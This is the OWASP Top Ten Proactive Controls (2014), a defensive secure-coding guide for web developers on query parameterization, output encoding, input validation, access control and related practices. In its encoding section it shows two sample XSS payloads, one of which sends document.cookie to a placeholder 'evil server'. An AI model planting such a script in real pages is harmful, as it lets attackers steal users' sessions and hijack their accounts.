OWASP
Open Web Application Security Project

PROACTIVE CONTROLS

FOR DEVELOPERS

2014 v1.0

PROJECT LEADERS

JIM MANICO | JIM BIRD

KEY CONTRIBUTORS

DANNY HARRIS
STEPHEN DE VRIES
ANDREW VAN DER STOCK
GAZ HEYES
COLIN WATSON

The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.

1: Parameterize Queries

2: Encode Data

3: Validate All Inputs

4: Implement Appropriate Access Controls

5: Establish Identity and Authentication Controls

6: Protect Data and Privacy

7: Implement Logging, Error Handling and Intrusion Detection

8: Leverage Security Features of Frameworks and Security Libraries

9: Include Security-Specific Requirements

10: Design and Architect Security In

Introducing the OWASP Top Ten Proactive Controls 2014.

Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure.

Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.

This document was written by developers for developers, to assist those new to secure development. It aims to guide developers and other software development professionals down the path of secure web application software development.

There are more than 10 issues that developers need to be aware of. Some of these "top ten" controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.

The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire **Cheat Sheets** series team whose content has been pulled from liberally for this document.

1 Parameterize Queries

SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit, with easy to use automated attack tools available, and can deliver an impact to your application that is devastating.

The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped or modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.

To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.

Here is an example of query parameterization in Java

```
String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET
NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
```

Here is an example of query parameterization in PHP

```
$email = $_REQUEST['email'];
$id = $_REQUEST['id'];
$stmt = $dbh->prepare("update users set email=:new_email where
id=:user_id");
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
```

Key references

- Query Parameterization Cheat Sheet
- OWASP Secure Coding Practices Quick Reference Guide

2 Encode Data

Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. Encoding needed to stop various forms of injection include Unix encoding, Windows encoding, LDAP encoding and XML encoding. Another example of encoding is output encoding necessary to prevent Cross Site Scripting.

Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects.

For example:

XSS site defacement

```
<script>document.body.innerHTML("Jim was here");</script>
```

XSS session theft

```
<script>
var img = new Image();
img.src="http://<some evil server>.com?" + document.cookie;
</script>
```

There are two broad classes of XSS: Persistent and Reflected. Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will typically already be logged into the site when the attack is executed, and a single injection attack can affect many different users. Reflected XSS occurs when the attacker places an XSS payload as part of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since it requires a degree of interaction between the attacker and the victim.

Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you're building a user interface, at the last moment before untrusted data is dynamically added to HTML. The type of encoding required will depend on the HTML context of where the untrusted data is added, for example in an attribute value, or in the main HTML body, or even in a JavaScript code block. The encoding required to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). OWASP's Java Encoder Project and Enterprise Security API (ESAPI) provides encoders for these functions in Java. In .NET 4.5, the AntiXssEncoder Class provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library.

Key references

- **Stopping XSS in your web application: OWASP**

  XSS (Cross Site Scripting) Prevention Cheat Sheet

- **General information about injection:**

  Top 10 2013-A1-Injection

Key tools

OWASP Java Encoder Project

Microsoft .NET AntiXSS Library

OWASP ESAPI

OWASP Encoder Comparison Reference Project

3 Validate All Inputs

It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be manipulated by an attacker.

One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called "input validation". Input validation can be included in web applications in the server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern.

There are two typical approaches to performing input validation: "white list" and "black list" validation. White list validation seeks to define what good input should look like. Any input that does not meet this "good input" definition should be rejected. "Black list" validation seeks to detect known attacks and only reject those attacks or other known bad characters. "Black list" validation is a more error prone and difficult to maintain approach because it can sometimes be bypassed through encoding and other obfuscation techniques. The blacklist also has to continually be updated as new attacks or encoding techniques are discovered. Because of these weaknesses it is not recommended when building a secure web application. The following examples will focus on white list validation.

When a user first registers for an account on a hypothetical web application, some of the first pieces of data required are a username, password and email address. If this input came from a malicious user, the input could contain attack strings. By validating the user input to ensure that each piece of data contains only the valid set of characters and meets the expectations for data length, we can make attacking this web application more difficult.

Let's start with the following regular expression for the username.

```
^[a-z0-9_]{3,16}$
```

This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.

Here is an example regular expression for the password field.

```
^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$
```

This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).

Here is an example regular expression for an email address (per the HTML5 specification)

http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).

```
^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
```

There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML - it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the OWASP **Java HTML Sanitizer**. A regular expression is not the right tool to parse and sanitize untrusted HTML.

Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input "safe" since it may be necessary to accept potentially dangerous characters as valid input. The security of the application should then be enforced where that input is used, for example, if it is used to build an HTML response, then the appropriate HTML encoding should be performed to prevent Cross Site Scripting attacks.

Key references

- **Input Validation Cheat Sheet**

Key tools

- **OWASP JSON Sanitizer Project**
- **OWASP Java HTML Sanitizer Project**
- **Apache Commons Validator**

4 Implement Appropriate Access Controls

Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused.

Access Control can be a rather complex and design-heavy security control. The following "positive" access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security design that must be heavily thought-through up front.

Force all requests to go through access control checks

Most frameworks and languages only check a feature for access control if a programmer adds that check. The inverse is a more security-centric design, where all access is first verified. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.

Deny by default

In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check.

Avoid hard-coded policy-based access control checks in code

Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control "engine") should be separated when possible.

Code to the activity

Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.

Server-side trusted data should drive access control

The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved "server-side" in a standard web or web service application. Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only

client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.

Key references

- Access Control Cheat Sheet

Key tools

- OWASP PHPRBAC Project
- Apache Shiro Authorization features

5 Establish Identity and Authentication Controls

Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.

Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forth between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally impossible to predict.

Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.

Key references

- Authentication Cheat Sheet
- Password Storage Cheat Sheet
- Forgot Password Cheat Sheet
- Session Management Cheat Sheet

6 Protect Data and Privacy

Encrypting data in Transit

When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. Despite published weaknesses in specific implementations (e.g. Heartbleed), it is still the defacto and recommended method for implementing transport layer encryption.

Key references

- **Proper SSL/TLS configuration:**

  Transport Layer Protection Cheat Sheet

- **Protecting users from man-in-the-middle attacks via fraudulent SSL certificates:**

  Pinning Cheat Sheet

Encrypting data at Rest

Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level cryptographic functions on your own, ensure you are or have the assistance of a deep applied expert. Instead of building cryptographic functions from scratch, it is strongly recommended that peer reviewed an open libraries be used instead, such as the **Google KeyCzar project**, Bouncy Castle and the functions included in SDKs. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software.

A common weakness in encrypting data at rest is using an inadequate key, or storing the key along with the encrypted data (the cryptographic equivalent of leaving a key under the doormat). Keys should be treated as secrets and only exist on the device in a transient state, e.g. entered by the user so that the data can be decrypted, and then erased from memory.

Key references

- **Information on low level decisions necessary when encrypting data at rest:**

  Cryptographic Storage Cheat Sheet

  Password Storage Cheat Sheet

Key tools

OWASP SSL Audit for Testers

Google KeyCzar

Implement Protection in Process

Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; or it could be written to temporary storage locations or log files, where it could be read by an attacker.

7 Implement Logging and Intrusion Detection

Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:

- **Application monitoring**
- **Business analytics and insight**
- **Activity auditing and compliance monitoring**
- **System intrusion detection**
- **Forensics**

To make correlation and analysis easier, follow a common logging approach within the system and across systems where possible, using an extensible logging framework like SLF4J with Logback or Apache Log4j2, to ensure that all log entries are consistent.

Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.

It is important not to log too much, or too little. Make sure to always log the time stamp and identifying information like the source IP and user-id, but be careful not to log private or confidential data or opt-out data or secrets. Use knowledge of the intended purposes to guide what, when and how much to log. To protect from Log Injection aka **Log Forging**, make sure to perform encoding on untrusted data before logging it.

The **OWASP AppSensor Project** explains how to implement intrusion detection and automated response into an existing application: where to add sensors or **detection points** and what **response actions** to take when a security exception is encountered in your application.

Key references

- **How to properly implement logging in an application:**

Logging Cheat Sheet

Key tool

OWASP AppSensor Project

8 Leverage Security Features of Frameworks and Security Libraries

Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.

When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:

- **Spring Security**
- **Apache Shiro**

It is critical to keep these frameworks and libraries up to date as described in the **using components with known vulnerabilities Top Ten 2013 risk.**

Key references

PHP Security Cheat Sheet

.NET Security Cheat Sheet

9 Include Security-Specific Requirements

There are three basic categories of security requirements that can be defined early-on in a software development project:

1) Security Features and Functions: the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by QA staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.

2) Business Logic Abuse Cases: Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from "abuse cases". Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.

3) Data Classification and Privacy Requirements: developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.

Key references

- OWASP Application Security Verification Standard Project
- Software Assurance Maturity Model
- Business Logic Security Cheat Sheet
- Testing for business logic (OWASP-BL-001)

10 Design and Architect Security In

There are several areas where you need to be concerned about security in the architecture and design of a system. These include:

1) Know your Tools: our choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.

2) Tiering, Trust and Dependencies: Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.

3) Manage the Attack Surface: Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?

Key references

- Software Assurance Maturity Model (OpenSAMM)
- Application Security Verification Standard Project
- Application Security Architecture Cheat Sheet
- Attack Surface Analysis Cheat Sheet

OWASP
Open Web Application Security Project

The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security "visible", so that people and organizations can make informed decisions about application security risks. Every one is free to participate in OWASP and all of our materials are available under a free and open software license. The OWASP Foundation is a 501c3 not-for-profit charitable organization that ensures the ongoing availability and support for our work.

Email
Jim Manico jim@owasp.org
Jim Bird jimbird@shaw.ca

Support List
OWASP Proactive Controls